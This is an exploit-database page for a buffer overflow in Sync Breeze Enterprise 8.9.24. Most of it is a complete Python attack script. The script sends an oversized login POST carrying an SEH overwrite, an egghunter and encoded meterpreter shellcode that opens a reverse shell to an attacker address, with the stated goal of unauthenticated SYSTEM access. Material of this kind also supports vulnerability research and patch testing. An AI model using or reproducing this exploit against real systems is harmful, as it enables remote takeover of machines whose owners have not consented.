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Suggest Exploit
vendor:
Sync Breeze Enterprise
by:
Tulpa
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Sync Breeze Enterprise
Affected Version From: 8.9.24
Affected Version To: 8.9.24
Patch Exists: NO
Related CWE:
CPE: a:sync_breeze:enterprise:8.9.24
Metasploit:
Other Scripts:
Platforms Tested: Windows 7 x86 Enterprise SP1

Sync Breeze Enterprise 8.9.24 Buffer Overflow Exploit

This exploit targets Sync Breeze Enterprise version 8.9.24. It allows an attacker to execute arbitrary code and gain NT AUTHORITYSYSTEM privileges on the target system. The exploit does not require authentication and can be used without a valid password. The payload size is 308 bytes.

Mitigation:

Upgrade to a patched version of Sync Breeze Enterprise.
Source

Exploit-DB raw data:

#!/usr/bin/python

print "Sync Breeze Enterprise 8.9.24 Buffer Overflow Exploit"
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"

#Author website: www.tulpa-security.com
#Author twitter: @tulpa_security

#Exploit will land you NT AUTHORITY\SYSTEM
#You do not need to be authenticated, password below is garbage
#Swop out IP, shellcode and remember to adjust '\x41' for bytes
#Tested on Windows 7 x86 Enterprise SP1

#Greetings to ozzie_offsec and carbonated

import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.123.132',80))

#bad chars \x00\x0a\x0d\x26

#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.123.128 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest

#payload size 308

buf =  ""
buf += "\xda\xd9\xba\x43\x1b\x3f\x40\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x47\x31\x50\x18\x03\x50\x18\x83\xc0\x47\xf9"
buf += "\xca\xbc\xaf\x7f\x34\x3d\x2f\xe0\xbc\xd8\x1e\x20\xda"
buf += "\xa9\x30\x90\xa8\xfc\xbc\x5b\xfc\x14\x37\x29\x29\x1a"
buf += "\xf0\x84\x0f\x15\x01\xb4\x6c\x34\x81\xc7\xa0\x96\xb8"
buf += "\x07\xb5\xd7\xfd\x7a\x34\x85\x56\xf0\xeb\x3a\xd3\x4c"
buf += "\x30\xb0\xaf\x41\x30\x25\x67\x63\x11\xf8\xfc\x3a\xb1"
buf += "\xfa\xd1\x36\xf8\xe4\x36\x72\xb2\x9f\x8c\x08\x45\x76"
buf += "\xdd\xf1\xea\xb7\xd2\x03\xf2\xf0\xd4\xfb\x81\x08\x27"
buf += "\x81\x91\xce\x5a\x5d\x17\xd5\xfc\x16\x8f\x31\xfd\xfb"
buf += "\x56\xb1\xf1\xb0\x1d\x9d\x15\x46\xf1\x95\x21\xc3\xf4"
buf += "\x79\xa0\x97\xd2\x5d\xe9\x4c\x7a\xc7\x57\x22\x83\x17"
buf += "\x38\x9b\x21\x53\xd4\xc8\x5b\x3e\xb0\x3d\x56\xc1\x40"
buf += "\x2a\xe1\xb2\x72\xf5\x59\x5d\x3e\x7e\x44\x9a\x41\x55"
buf += "\x30\x34\xbc\x56\x41\x1c\x7a\x02\x11\x36\xab\x2b\xfa"
buf += "\xc6\x54\xfe\x97\xc3\xc2\xc1\xc0\xb7\x92\xaa\x12\x48"
buf += "\x83\x76\x9a\xae\xf3\xd6\xcc\x7e\xb3\x86\xac\x2e\x5b"
buf += "\xcd\x22\x10\x7b\xee\xe8\x39\x11\x01\x45\x11\x8d\xb8"
buf += "\xcc\xe9\x2c\x44\xdb\x97\x6e\xce\xe8\x68\x20\x27\x84"
buf += "\x7a\xd4\xc7\xd3\x21\x72\xd7\xc9\x4c\x7a\x4d\xf6\xc6"
buf += "\x2d\xf9\xf4\x3f\x19\xa6\x07\x6a\x12\x6f\x92\xd5\x4c"
buf += "\x90\x72\xd6\x8c\xc6\x18\xd6\xe4\xbe\x78\x85\x11\xc1"
buf += "\x54\xb9\x8a\x54\x57\xe8\x7f\xfe\x3f\x16\xa6\xc8\x9f"
buf += "\xe9\x8d\xc8\xdc\x3f\xeb\xbe\x0c\xfc"

#pop pop ret 10030991

nseh = "\x90\x90\xEB\x0B"
seh = "\x91\x09\x03\x10"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.123.132\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=admin"
evil += "&password=aaaaa\r\n"
evil += "\x41" * 12292 #subtract/add for payload
evil += "w00tw00t"
evil += "\x90" * 20
evil += buf
evil += "\x90" * 50
evil += "\x42" * 1614
evil += nseh
evil += seh
evil += "\x90" * 20
evil += egghunter
evil += "\x90" * 7000

print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()